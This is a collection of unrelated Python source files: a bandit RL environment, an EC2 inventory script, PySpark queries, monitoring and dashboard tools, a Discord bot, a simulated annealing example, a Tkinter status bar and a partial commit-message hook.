License.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport collections\nimport gym\nimport numpy as np\nimport tensorflow.compat.v2 as tf\n\nfrom gym import spaces\nfrom gym.utils import seeding\n\nimport dice_rl.utils.common as common_utils\n\n\nclass Bandit(gym.Env):\n def __init__(self, num_arms=2,\n reward_power=3.0,\n reward_scale=0.9,\n generation_seed=0,\n loop=False):\n self._num_arms = num_arms\n self._reward_power = reward_power\n self._reward_scale = reward_scale\n self._loop = loop\n self._generate_bandit(generation_seed)\n\n self.observation_space = spaces.Discrete(1)\n self.action_space = spaces.Discrete(self._num_arms)\n\n self.seed()\n self.reset()\n\n def _generate_bandit(self, seed):\n gen_random, _ = seeding.np_random(seed)\n\n self._rewards = gen_random.random_sample([self._num_arms])\n self._rewards = self._reward_scale * self._rewards ** self._reward_power\n\n @property\n def rewards(self):\n return self._rewards\n\n @property\n def num_arms(self):\n return self._num_arms\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def reset(self):\n return self._get_obs()\n\n def _get_obs(self):\n return 0\n\n def step(self, action):\n reward = self._rewards[action]\n sampled_reward = float(self.np_random.random_sample() <= reward)\n done = not self._loop\n return self._get_obs(), sampled_reward, done, {}\n\n\ndef get_bandit_policy(bandit_env, epsilon_explore=0.0, py=True,\n return_distribution=True):\n \"\"\"Creates an optimal policy for solving the bandit environment.\n\n Args:\n bandit_env: A bandit environment.\n epsilon_explore: Probability of sampling random action as opposed to optimal\n action.\n py: Whether to return Python policy (NumPy) or TF (Tensorflow).\n return_distribution: In the case of a TF policy, whether to return the\n full action distribution.\n\n Returns:\n A policy_fn that takes in an observation and returns a sampled action along\n with a dictionary containing policy information (e.g., log probability).\n A spec that determines the type of objects returned by policy_info.\n\n Raises:\n ValueError: If epsilon_explore is not a valid probability.\n \"\"\"\n if epsilon_explore < 0 or epsilon_explore > 1:\n raise ValueError('Invalid exploration value %f' % epsilon_explore)\n\n optimal_action = np.argmax(bandit_env.rewards)\n policy_distribution = np.ones([1, bandit_env.num_arms]) / bandit_env.num_arms\n policy_distribution[0] *= epsilon_explore\n policy_distribution[0, optimal_action] += 1 - epsilon_explore\n\n def obs_to_index_fn(observation):\n if py:\n return np.array(observation, dtype=np.int32)\n else:\n return tf.cast(observation, tf.int32)\n\n if py:\n return common_utils.create_py_policy_from_table(\n policy_distribution, obs_to_index_fn)\n else:\n return common_utils.create_tf_policy_from_table(\n policy_distribution, obs_to_index_fn,\n return_distribution=return_distribution)\n","sub_path":"environments/bandit.py","file_name":"bandit.py","file_ext":"py","file_size_in_byte":3696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"537956912","text":"import time\n\ndef function_runtime_decorator(func):\n def wrapper(*args,**kwargs):\n start = time.time()\n result = func(*args,**kwargs)\n end = time.time()\n print(func.__name__ + \" took \"+ str((end-start)*1000) + \" milliseconds\");\n return wrapper\n\n\n@function_runtime_decorator\ndef calculate_square(data):\n result = []\n for number in data:\n answer = number*number\n result.append(answer)\n return result\n\n@function_runtime_decorator\ndef calculate_cube(data):\n result = []\n for number in data:\n answer = number*number*number\n result.append(answer)\n return result\n\n\ndata = range(1,10000)\ncalculate_square(data)\ncalculate_cube(data)\n","sub_path":"ProgrammingLanguage/Python/DecoratorSample/Decorator.py","file_name":"Decorator.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"607729319","text":"#!/bin/python\nimport sys\nimport json\n\ntry:\n import boto3\nexcept ImportError:\n print(\"Please install boto3 using pip install boto3 and try again\")\n sys.exit(1)\nexcept Exception as e:\n print(e)\n sys.exit(2)\n\ndef get_hosts(all_ec2s,f_value):\n custom_filter={\"Name\":\"tag:Environment\", \"Values\":[f_value]}\n hosts=[]\n for instance in all_ec2s.instances.filter(Filters=[custom_filter]):\n hosts.append(instance.private_ip_address)\n return hosts\n\n# main function which will poll all ec2 resources from us-east-1\ndef main():\n all_ec2s=boto3.resource(\"ec2\",\"us-east-1\")\n db_group=get_hosts(all_ec2s,\"db\")\n web_group=get_hosts(all_ec2s,\"web\")\n all_groups= { 'db': db_group,\n 'web': web_group\n }\n print(json.dumps(all_groups))\n\nif __name__==\"__main__\":\n main()","sub_path":"custom_dynamic_inventory.py","file_name":"custom_dynamic_inventory.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"170565479","text":"from pyspark.sql import SQLContext\nfrom pyspark.sql.functions import isnan, when, count, col, length, desc, unix_timestamp, from_unixtime\n\nsqlContext = SQLContext(sc)\n\n# read csv into dataframes\ndf = sqlContext.read.load('20*.csv', format='com.databricks.spark.csv', header='true', inferSchema='true')\n\n# Group By Year\ndf.withColumn('year', col('Created Date').substr(7,4)).groupBy('year').count().show()\n\n# Group By Month\ndf.withColumn('month', col('Created Date').substr(0,2)).groupBy('month').count().show()\n\n# Group By Zip\ndf.groupBy('Incident Zip').count().sort('count',ascending=False).show()\n\n# Group By Closed Year\ndf.withColumn('year_close', col('Closed Date').substr(7,4)).groupBy('year_close').count().show()\n\n# Add Date column\ndf = df.withColumn('date', col('Created Date').substr(0,10))\ndf = df.withColumn('date_close', col('Closed Date').substr(0,10))\n\n# Get Daily Average Create\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('date').count().describe().show()\n\n# Get Daily Average Close\nfor x in range(2009,2018):\n df.filter(col('year_close')==str(x)).groupBy('date_close').count().filter(length(col('date_close'))==10).agg(avg(col('count'))).show()\n\n# Get Most Complaint Type\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('Complaint Type').count().sort('count', ascending=False).take(1)\n\n# Get Most Complaint Zip Area\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('Incident Zip').count().sort('count', ascending=False).take(2)\n\n# Get Borough\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('Borough').count().sort('count', ascending=False).take(2)\n\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('Agency').count().sort('count', ascending=False).take(2)\n\nfor x in range(2009,2018):\n df.filter(col('year')==str(x)).groupBy('Location Type').count().sort('count', ascending=False).take(2)\n","sub_path":"summary/summary-part1.py","file_name":"summary-part1.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"599523344","text":"import json\nimport os\n\nimport time\nfrom twisted.internet.task import LoopingCall\n\nfrom requestmgr import HTTPRequestManager\n\n\nclass ResourceMonitor(object):\n \"\"\"\n This class is responsible for monitoring resources in Tribler.\n Specifically, it fetches information from the Tribler core and writes it to a file.\n \"\"\"\n\n def __init__(self, interval):\n self.interval = interval\n self.request_manager = HTTPRequestManager()\n self.monitor_memory_lc = LoopingCall(self.monitor_memory)\n self.monitor_cpu_lc = LoopingCall(self.monitor_cpu)\n self.start_time = time.time()\n self.latest_memory_time = 0\n self.latest_cpu_time = 0\n\n # Create the output directory if it does not exist yet\n output_dir = os.path.join(os.getcwd(), \"output\")\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n self.memory_stats_file_path = os.path.join(output_dir, 'memory_stats.csv')\n with open(self.memory_stats_file_path, \"w\") as output_file:\n output_file.write(\"time,memory_usage\\n\")\n\n self.cpu_stats_file_path = os.path.join(output_dir, 'cpu_stats.csv')\n with open(self.cpu_stats_file_path, \"w\") as output_file:\n output_file.write(\"time,cpu_usage\\n\")\n\n def start(self):\n \"\"\"\n Start the monitoring loop for the resources.\n \"\"\"\n self.monitor_memory_lc.start(self.interval)\n self.monitor_cpu_lc.start(self.interval)\n\n def stop(self):\n \"\"\"\n Stop the monitoring loop for the resources.\n \"\"\"\n if self.monitor_memory_lc and self.monitor_memory_lc.running:\n self.monitor_memory_lc.stop()\n self.monitor_memory_lc = None\n\n if self.monitor_cpu_lc and self.monitor_cpu_lc.running:\n self.monitor_cpu_lc.stop()\n self.monitor_cpu_lc = None\n\n def on_memory_history(self, response):\n history = json.loads(response)\n for history_item in history[\"memory_history\"]:\n if history_item[\"time\"] > self.latest_memory_time:\n self.latest_memory_time = history_item[\"time\"]\n time_diff = history_item[\"time\"] - self.start_time\n with open(self.memory_stats_file_path, \"a\") as output_file:\n output_file.write(\"%s,%s\\n\" % (time_diff, history_item[\"mem\"]))\n\n def on_cpu_history(self, response):\n history = json.loads(response)\n for history_item in history[\"cpu_history\"]:\n if history_item[\"time\"] > self.latest_cpu_time:\n self.latest_cpu_time = history_item[\"time\"]\n time_diff = history_item[\"time\"] - self.start_time\n with open(self.cpu_stats_file_path, \"a\") as output_file:\n output_file.write(\"%s,%s\\n\" % (time_diff, history_item[\"cpu\"]))\n\n def monitor_memory(self):\n \"\"\"\n Monitor the memory usage in Tribler.\n \"\"\"\n return self.request_manager.get_memory_history_core().addCallback(self.on_memory_history)\n\n def monitor_cpu(self):\n \"\"\"\n Monitor the CPU usage in Tribler.\n \"\"\"\n return self.request_manager.get_cpu_history_core().addCallback(self.on_cpu_history)\n","sub_path":"resource_monitor.py","file_name":"resource_monitor.py","file_ext":"py","file_size_in_byte":3224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"2561054","text":"import socket\nimport requests\n# import json\nimport psutil\n\nfrom .html_templates import * # pylint: disable=unused-wildcard-import\n\n\n\nSTYLES = '''\n\n'''\n\n\nclass ControlPanel:\n\t'''Automatically scan ports and consolidate many TaskMonitors'''\n\n\tdef __init__(self,\n\t\tapp,\n\t\tports=[],\n\t\texternal_addrs=[],\n\t\tpage_refresh=60):\n\n\t\tself.app = app\n\t\tself.machine = socket.gethostname()\n\t\tself.local_ip = socket.gethostbyname(self.machine)\n\t\tself.ports = set(ports)\n\t\tself.external_addrs = set(external_addrs)\n\t\tself.page_refresh = page_refresh\n\t\tself.app.add_url_rule(\"/\", view_func=self._render_monitors, methods=['GET'])\n\n\n\tdef scan(self, min_port=1000, max_port=10000, timeout=5):\n\t\tfor conn in psutil.net_connections():\n\t\t\tif conn.status == \"LISTEN\" and conn.laddr.port >= min_port and conn.laddr.port <= max_port:\n\t\t\t\tm = self._get_taskmonitor(self.local_ip, conn.laddr.port, timeout=timeout)\n\t\t\t\tif m is not None:\n\t\t\t\t\tself.ports.add(conn.laddr.port)\n\t\t\t\tprint('>> scanned', conn.laddr.port, \"- found\" if m is not None else \"\")\n\n\n\tdef _get_taskmonitor(self, host, port, timeout=5):\n\t\ttry:\n\t\t\tmonitor_url = f\"http://{host}:{port}/@taskmonitor\" # need to add option to change this endpoint since task monitor has that option\n\t\t\tres = requests.get(f\"{monitor_url}/json/summary\", timeout=timeout).json()\n\t\t\t# print(json.dumps(res, indent=4))\n\t\t\tres['port'] = port\n\t\t\tres['url'] = monitor_url\n\t\t\treturn res\n\t\texcept Exception:\n\t\t\t# print(e)\n\t\t\treturn None\n\n\n\tdef _iter_monitors(self):\n\t\tfor port in self.ports:\n\t\t\tmonitor = self._get_taskmonitor(self.local_ip, port)\n\t\t\tif monitor is not None:\n\t\t\t\tyield monitor\n\t\tfor host, port in self.external_addrs:\n\t\t\tmonitor = self._get_taskmonitor(host, port)\n\t\t\tif monitor is not None:\n\t\t\t\tyield monitor\n\n\n\tdef _render_monitors(self):\n\t\tcontent = []\n\t\tfor monitor in self._iter_monitors():\n\t\t\tcss = ['monitor-block']\n\t\t\tattrs = {}\n\t\t\telem = \"\"\n\t\t\tif 'error' in monitor:\n\t\t\t\telem = H(5, monitor['error']) + SPAN(str(monitor['url']))\n\t\t\t\tcss.append('error-border')\n\t\t\t\tcss.append('no-page')\n\t\t\t\tattrs['title'] = monitor['error']\n\t\t\telse:\n\t\t\t\tmon = monitor['success']\n\t\t\t\terr_msg_css = []\n\t\t\t\tif mon['summary']['errors'] > 0:\n\t\t\t\t\tcss.append('error-border')\n\t\t\t\t\terr_msg_css.append('error-msg')\n\t\t\t\tmsg = f\"tasks: {DIV(mon['summary']['count'])} errors: {DIV(mon['summary']['errors'], css=err_msg_css)}\"\n\t\t\t\telem = SPAN(B(mon['name']), css=['block-title']) + SPAN(msg, css=['block-msg'])\n\t\t\t\tattrs['data-url'] = monitor['url']\n\t\t\t\tattrs['title'] = f\"{mon['name']}\\n{monitor['url']}\"\n\t\t\tcontent.append(DIV(elem, css=css, attrs=attrs))\n\t\twrapper = DIV(''.join(content), css='wrapper')\n\t\theader_txt = f\"Control Panel\"\n\t\theader = DIV(H(2, header_txt), css=['header-bar'])\n\t\trerun_txt = SMALL(f\"Auto-refresh in {SPAN(self.page_refresh, attrs={'id': 'refresh-msg'})} seconds\")\n\n\t\tauto_reload = SCRIPT('''\n\t\tlet COUNT_DOWN = {page_refresh}\n\t\twindow.addEventListener('load', (event) => {{\n\t\t\tconst timer = setInterval(()=>{{\n\t\t\t\tif (COUNT_DOWN > 0) {{\n\t\t\t\t\tCOUNT_DOWN --\n\t\t\t\t\tdocument.getElementById('refresh-msg').innerText = COUNT_DOWN\n\t\t\t\t}} else {{\n\t\t\t\t\tclearInterval(timer)\n\t\t\t\t\tlocation.reload()\n\t\t\t\t}}\n\t\t\t}}, 1000)\n\t\t\tdocument.querySelectorAll('.monitor-block:not(.no-page)').forEach(block=>{{\n\t\t\t\tblock.addEventListener('click', ()=>{{\n\t\t\t\t\twindow.location.href=block.getAttribute(\"data-url\")\n\t\t\t\t}})\n\t\t\t}})\n\t\t}});\n\t\t'''.format(page_refresh=self.page_refresh))\n\t\treturn HTML(''.join([\n\t\t\tSTYLES,\n\t\t\theader,\n\t\t\trerun_txt,\n\t\t\twrapper,\n\t\t\tauto_reload\n\t\t]), title=header_txt)\n","sub_path":"flask_production/plugins/ctrl_panel.py","file_name":"ctrl_panel.py","file_ext":"py","file_size_in_byte":4800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"530727823","text":"import discord\nimport asyncio\n\nclient = discord.Client()\nbotkey = \"\"\n\n@client.event\nasync def on_ready():\n\tprint (\"Logged in as:\")\n\tprint (client.user.name)\n\n@client.event\nasync def on_message(message):\n\tif \"blox\" in message.content.lower():\n\t\tmessage = await client.send_message(message.channel, \"OOF\")\n\n\telif \"oofbot\" in message.content.lower():\n\t\tmessage = await client.send_message(message.channel, \"You called?\")\n\n\telif \"robux\" in message.content.lower():\n\t\tmessage = await client.send_message(message.channel, \"$$$ https://www.roblox.com/upgrades/robux $$$\")\n\nclient.run(botkey)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"518643169","text":"from numpy import cos, pi, exp, sqrt\r\nimport numpy as np\r\nfrom numpy.random import normal, seed\r\nfrom random import random\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib import rc\r\n\r\nfont = {'family': 'DejaVu Sans', 'size': 14} # adjust fonts\r\nrc('font', **font)\r\n\r\nseed(2)\r\n\r\ndef f(x, y):\r\n \"\"\"\r\n Given function 1b(i) to find the minimum.\r\n \"\"\"\r\n return x**2 - cos(4*x*pi) + (y-1)**2\r\n\r\n\r\ndef g(x,y):\r\n \"\"\"\r\n Given function 1b(ii) to find the minimum.\r\n \"\"\"\r\n return cos(x) + cos(sqrt(2) * x) + cos(sqrt(3) * x) + (y-1)**2 \r\n\r\n\r\ndef run_b(func, q_name):\r\n # set the variables\r\n Tmax = 1.0\r\n Tmin = 1e-5\r\n tau = 1e4\r\n \r\n # Main loop\r\n t = 0\r\n T = Tmax\r\n # starting point\r\n x,y = 2,2\r\n # std and mean for gaussian distribution\r\n mean, std = 0, 1\r\n \r\n # to store the results\r\n time = []\r\n func_arr = []\r\n x_y_arr = []\r\n \r\n # compute the results intially\r\n time.append(t)\r\n x_y_arr.append([x,y])\r\n func_arr.append(func(x,y))\r\n \r\n while T>Tmin:\r\n \r\n # Cooling\r\n t += 1\r\n T = Tmax*exp(-t/tau)\r\n \r\n # sample from a gaussian dstribution\r\n dx, dy = normal(mean, std, 2) \r\n # Monte Carlo moves\r\n new_x, new_y = x+dx, y+dy\r\n \r\n # find the change in energy\r\n new_func = func(new_x, new_y)\r\n delta_func = new_func - func_arr[-1]\r\n \r\n if q_name == 'bi':\r\n if random() < exp(-delta_func/T):\r\n # make move\r\n x, y = new_x, new_y\r\n # store the energy, time and moves\r\n time.append(t)\r\n x_y_arr.append([x,y])\r\n func_arr.append(func(x,y))\r\n else:\r\n if 0 < new_x < 50 and -20 < new_y < 20 and random() < exp(-delta_func/T):\r\n # make move\r\n x, y = new_x, new_y\r\n # store the energy, time and moves\r\n time.append(t)\r\n x_y_arr.append([x,y])\r\n func_arr.append(func(x,y))\r\n \r\n print(\"The value of (x, y) for Qb({}) is ({:.3f}, {:.3f}).\".format(q_name[1:],x,y))\r\n \r\n x_y_arr = np.array(x_y_arr)\r\n \r\n # plot x as a function of time\r\n plt.figure()\r\n plt.scatter(time, x_y_arr[:, 0])\r\n plt.xlabel(\"Time (t)\")\r\n plt.ylabel(\"x\")\r\n plt.title(\"Qb({}) x as a function of time\".format(q_name[1:]))\r\n plt.grid()\r\n plt.tight_layout()\r\n plt.savefig(q_name + '_x.pdf')\r\n \r\n # plot y as a function of time\r\n plt.figure()\r\n plt.scatter(time, x_y_arr[:, 1], color='#f97306')\r\n plt.xlabel(\"Time (t)\")\r\n plt.ylabel(\"y\")\r\n plt.title(\"Qb({}) y as a function of time\".format(q_name[1:]))\r\n plt.grid()\r\n plt.tight_layout()\r\n plt.savefig(q_name + '_y.pdf')\r\n \r\n \r\n# run b(i)\r\nrun_b(f, 'bi')\r\n\r\n# run b(ii)\r\nrun_b(g, 'bii') \r\n \r\n","sub_path":"Markov Chain and Protien Folding (Lab11)/Q1/lab11_Q1b.py","file_name":"lab11_Q1b.py","file_ext":"py","file_size_in_byte":2872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"499956533","text":"#!/usr/bin/python3\n# statusbar.py - creates a widget that shows the temperature of the RPI and the IP address if it is assigned.\n\nimport os, sys\nimport subprocess\nfrom tkinter import *\nimport datetime\nimport time\nimport logging\n\nclass Statusbar:\n\n def __init__(self, window, relx=0.05, rely=0.55, width=0.1, height=0.1, anchor='nw', show=True):\n self.logger = logging.getLogger('SM2.statusbar')\n\n if __name__ == '__main__': # Creates a logger if the module is called directly.\n ch = logging.StreamHandler()\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n ch.setFormatter(formatter)\n self.logger.setLevel(logging.DEBUG)\n self.logger.addHandler(ch)\n\n self.logger.info('Initialization of STATUSBAR widget...')\n\n self.REFRESH_RATE = 5000 # time in milliseconds between measurments.\n\n self.window = window\n # Dimesnsions of the main window (screen size)\n self.window_width = window.winfo_screenwidth()\n self.window_height = window.winfo_screenheight()\n\n self.relx = relx\n self.rely = rely\n self.target_width = int(width * self.window_width)\n self.target_height = int(height * self.window_height)\n self.anchor = anchor\n self.show = show\n\n self.font_size = 50\n\n self.statusbar_frame = Frame(self.window, bg='black', bd=0)\n\n if self.anchor == 'ne':\n self.relx += width\n\n self.statusbar_frame.place(\n relx=self.relx,\n rely=self.rely,\n anchor=self.anchor)\n\n # The inner top frame is used to display the CPU temperature.\n self.topframe_inside = Frame(self.statusbar_frame, bg='black', bd=0)\n self.topframe_inside.grid(column=0, row=0, sticky=self.anchor)\n\n # The inner middle frame is used to display the GPU temperature.\n self.middleframe_inside = Frame(self.statusbar_frame, bg='black', bd=0)\n self.middleframe_inside.grid(column=0, row=1, sticky=self.anchor)\n\n # The inner bottom frame is used to display the IP address.\n self.bottomframe_inside = Frame(self.statusbar_frame, bg='black', bd=0)\n self.bottomframe_inside.grid(column=0, row=2, sticky=self.anchor)\n\n self.temp_CPU = subprocess.Popen(\n 'cat /sys/class/thermal/thermal_zone0/temp',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n\n _, temp_CPU_error = self.temp_CPU.communicate() \n if temp_CPU_error.decode(\"utf-8\").find('not found') != -1:\n self.logger.warning('CPU temperature measurment is not supported!')\n self.temp_CPU.stdout.close()\n self.temp_CPU = False\n else:\n self.temp_CPU = 'CPU __._°C'\n\n self.temp_GPU = subprocess.Popen(\n 'vcgencmd measure_temp',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n\n _, temp_GPU_error = self.temp_GPU.communicate() \n if temp_GPU_error.decode(\"utf-8\").find('not found') != -1:\n self.logger.warning('GPU temperature measurement is not supported!')\n self.temp_GPU.stdout.close()\n self.temp_GPU = False\n else:\n self.temp_GPU = 'GPU __._°C'\n \n self.IP_address = subprocess.Popen(\n 'hostname -I',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n\n _, IP_address_error = self.IP_address.communicate() \n if IP_address_error.decode(\"utf-8\").find('not found') != -1:\n self.logger.warning('Cannot get the IP address!')\n self.IP_address.stdout.close()\n self.IP_address = False\n else:\n self.IP_address = 'IP: ___.___.___.___'\n\n if self.temp_CPU:\n self.cpu_temp_label = Label(\n self.middleframe_inside,\n text='CPU 21 °C',\n fg='lightblue',\n bg='black',\n font=(\"SFUIText\", self.font_size, \"bold\")\n )\n if self.anchor == 'nw':\n self.cpu_temp_label.pack(side=LEFT)\n else:\n self.cpu_temp_label.pack(side=RIGHT)\n\n if self.temp_GPU:\n self.gpu_temp_label = Label(\n self.topframe_inside,\n text='GPU 22 °C',\n fg='lightblue',\n bg='black',\n font=(\"SFUIText\", self.font_size, \"bold\")\n )\n if self.anchor == 'nw':\n self.gpu_temp_label.pack(side=LEFT)\n else:\n self.gpu_temp_label.pack(side=RIGHT)\n\n if self.IP_address:\n self.ip_address_label = Label(\n self.bottomframe_inside,\n text='000.000.000.000',\n fg='lightblue',\n bg='black',\n font=(\"SFUIText\", self.font_size, \"bold\")\n )\n if self.anchor == 'nw':\n self.ip_address_label.pack(side=LEFT)\n else:\n self.ip_address_label.pack(side=RIGHT)\n\n self.window.update_idletasks()\n self.get_font_size()\n\n self.logger.info('STATUSBAR widget has been created.')\n self.status()\n\n def get_font_size(self):\n \"\"\" The method decreases the font size until it satisfies the target\n width and height of the widget.\"\"\"\n while self.font_size > 12:\n if self.temp_CPU:\n self.cpu_temp_label.config(font=(\"SFUIText\", self.font_size, \"bold\"))\n if self.temp_GPU:\n self.gpu_temp_label.config(font=(\"SFUIText\", self.font_size, \"bold\"))\n if self.IP_address:\n self.ip_address_label.config(font=(\"SFUIText\", self.font_size, \"bold\"))\n\n self.window.update_idletasks()\n\n self.statusbar_frame_width = self.statusbar_frame.winfo_width()\n self.statusbar_frame_height = self.statusbar_frame.winfo_height()\n if self.statusbar_frame_width > self.target_width or self.statusbar_frame_height > self.target_height:\n self.font_size -= 1\n else:\n #self.logger.debug(f'Target widget width {self.target_width}')\n #self.logger.debug(f'Real widget width {int(self.statusbar_frame_width)}')\n #self.logger.debug(f'Target widget height {self.target_height}')\n #self.logger.debug(f'Real widget height {int(self.statusbar_frame_height)}')\n break\n\n def status(self):\n if self.show:\n self.statusbar_frame.place(\n relx=self.relx,\n rely=self.rely,\n anchor=self.anchor\n )\n self.widget()\n else:\n self.statusbar_frame.place_forget()\n self.statusbar_frame.after(1000, self.status)\n\n def widget(self):\n if self.temp_CPU:\n self.cpu_temp_label.config(text=self.temp_CPU)\n if self.temp_GPU:\n self.gpu_temp_label.config(text=self.temp_GPU)\n if self.IP_address:\n self.ip_address_label.config(text=self.IP_address)\n self.measure_temp_cpu()\n\n def measure_temp_cpu(self):\n if self.temp_CPU:\n try:\n self.temp_CPU = subprocess.Popen(\n 'cat /sys/class/thermal/thermal_zone0/temp',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n\n self.temp_CPU, _ = self.temp_CPU.communicate() \n self.temp_CPU = round(int(self.temp_CPU.decode('utf-8')) / 1000, 1)\n self.temp_CPU = f'CPU {str(self.temp_CPU)}°C'\n except Exception as exc:\n self.temp_CPU = ''\n self.logger.error(f'Cannot get the CPU temp: {exc}')\n\n if self.temp_GPU:\n self.statusbar_frame.after(self.REFRESH_RATE, self.measure_temp_gpu)\n else:\n if self.IP_address:\n self.statusbar_frame.after(self.REFRESH_RATE, self.get_ip_address)\n else:\n self.statusbar_frame.after(self.REFRESH_RATE, self.status)\n\n def measure_temp_gpu(self):\n try:\n self.temp_GPU = subprocess.Popen(\n 'vcgencmd measure_temp',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n self.temp_GPU, _ = self.temp_GPU.communicate()\n self.temp_GPU = self.temp_GPU.decode('utf-8')\n self.temp_GPU = self.temp_GPU[self.temp_GPU.find('=') + 1: self.temp_GPU.find(\"'\")]\n self.temp_GPU = float(self.temp_GPU)\n self.temp_GPU = f'GPU {self.temp_GPU}°C'\n except Exception as exc:\n self.logger.error(f'Cannot get the GPU temp: {exc}')\n\n if self.IP_address:\n self.statusbar_frame.after(self.REFRESH_RATE, self.get_ip_address)\n else:\n self.statusbar_frame.after(self.REFRESH_RATE, self.status)\n\n def get_ip_address(self):\n try:\n self.IP_address = subprocess.Popen(\n 'hostname -I',\n shell=True, \n stdin=None, \n stdout=subprocess.PIPE, \n stderr=subprocess.PIPE\n )\n\n self.IP_address, _ = self.IP_address.communicate()\n self.IP_address = f'IP: {self.IP_address.decode(\"utf-8\")}'\n except Exception as exc:\n self.logger.error(f'Cannot get the IP address: {exc}')\n self.statusbar_frame.after(self.REFRESH_RATE, self.status)\n\n def widget_update(self, *args):\n try:\n self.logger.debug('Updating statusbar widget...')\n self.relx = args[0]\n self.rely = args[1]\n self.statusbar_frame.place(relx=self.relx, rely=self.rely)\n width = args[2]\n height = args[3]\n self.anchor = args[4]\n if self.anchor == 'ne':\n self.relx += width\n self.target_width = int(width * self.window_width)\n self.target_height = int(height * self.window_height)\n self.font_size = 50\n\n self.statusbar_frame.place(\n relx=self.relx,\n rely=self.rely,\n anchor=self.anchor\n )\n if self.temp_CPU:\n self.cpu_temp_label.config(text='CPU __._°C')\n if self.temp_GPU:\n self.gpu_temp_label.config(text='GPU __._°C')\n if self.IP_address:\n self.ip_address_label.config(text='000.000.000.000')\n\n self.get_font_size()\n self.topframe_inside.grid(\n column=0,\n row=0,\n sticky=self.anchor\n )\n\n self.middleframe_inside.grid(\n column=0,\n row=1,\n sticky=self.anchor\n )\n\n self.bottomframe_inside.grid(\n column=0,\n row=2,\n sticky=self.anchor\n )\n\n if self.anchor == 'nw':\n if self.temp_CPU:\n self.cpu_temp_label.pack(side=LEFT)\n if self.temp_GPU:\n self.gpu_temp_label.pack(side = LEFT)\n if self.IP_address:\n self.ip_address_label.pack(side = LEFT)\n else:\n if self.temp_CPU:\n self.cpu_temp_label.pack(side=RIGHT)\n if self.temp_GPU:\n self.gpu_temp_label.pack(side = RIGHT)\n if self.IP_address:\n self.ip_address_label.pack(side = RIGHT)\n self.logger.debug('Widget has been updated!')\n except Exception as exc:\n self.logger.error(f'Cannot update the widget: {exc}')\n\n def destroy(self):\n self.logger.debug('Closing Statusbar...')\n self.statusbar_frame.destroy()\n\nif __name__ == '__main__':\n try:\n window = Tk()\n window.title('Main Window')\n window.configure(bg='black')\n #window.overrideredirect(True)\n w, h = window.winfo_screenwidth(), window.winfo_screenheight()\n window.geometry(\"%dx%d+0+0\" % (w, h))\n a = Statusbar(window)\n window.mainloop()\n except KeyboardInterrupt:\n sys.exit()\n\n__version__ = '0.97' # 19th November 2020\n__author__ = 'Dmitry Kudryashov'\n__maintainer__ = 'Dmitry Kudryashov'\n__email__ = \"dmitry-kud@yandex.ru\"\n__status__ = \"Development\"","sub_path":"smartmirror2/widgets/statusbar.py","file_name":"statusbar.py","file_ext":"py","file_size_in_byte":12786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"230090087","text":"#!/usr/bin/python3\n\n\"\"\" * When the commit command is triggered, this program will be called\n\t* By default, the second parameter will be a link to the temporary file where the commit's message is stored\n\t\t* We can read through this file to judge whether the message is appropriate or not \n\t\t\n\t* A good commit message should obey the following rules:\n\t\t* Seperate subject from body with a blank line\n\t\t* Limit the subject line to 50 characters\n\t\t* Capitalise the subject line\n\t\t* Do not end the subject line with a period (ie '.')\n\t\t* Wrap text at 72 characters (don't let each line have more then 72 character) \n\t* We can write to check these rules are being followed or to throw an error \"\"\"\n\nimport sys\n\ndef main():\n\tmessage = \"\"\n\tcharCount = 0\n\tlineCount = 0\n\t\n\tfile = open(sys.argv[1], \"r\")\n\tmessage = file.read()\n\tmessageLength = len(message)\n\t\n\tfor i in range(0, messageLength): \n\t\tif message[i] == '\\n': #gives us raw character\n\t\t\tlineCount += 1\n\t\t\tcharCount = 0\n\t\t\tcontinue\n\t\t\t\n\t\tif(message[i] == '.' and lineCount == 0): #4) Do not end the subject line with a period (ie '.')\n\t\t\tprint(\"The subjects ends with a period!\")\n\t\t\treturn 1\n\t\t\n\t\tif lineCount == 1 and message[i] != '\\n':\n\t\t\tprint(\"The line between the subject and body (line 2) is not blank!\")\n\t\t\treturn 1\n\t\t\t\t\t\t\n\t\tif lineCount == 0 and charCount == 0 and message[i].isupper() == False: #3) Capitalise the subject line\n\t\t\tprint(\"Subject line is not capitalised!\")\n\t\t\treturn 1\n\t\t\n\t\tcharCount += 1 \n\t\tif charCount > 50 and lineCount == 0: #2) Limit the subject line to 50 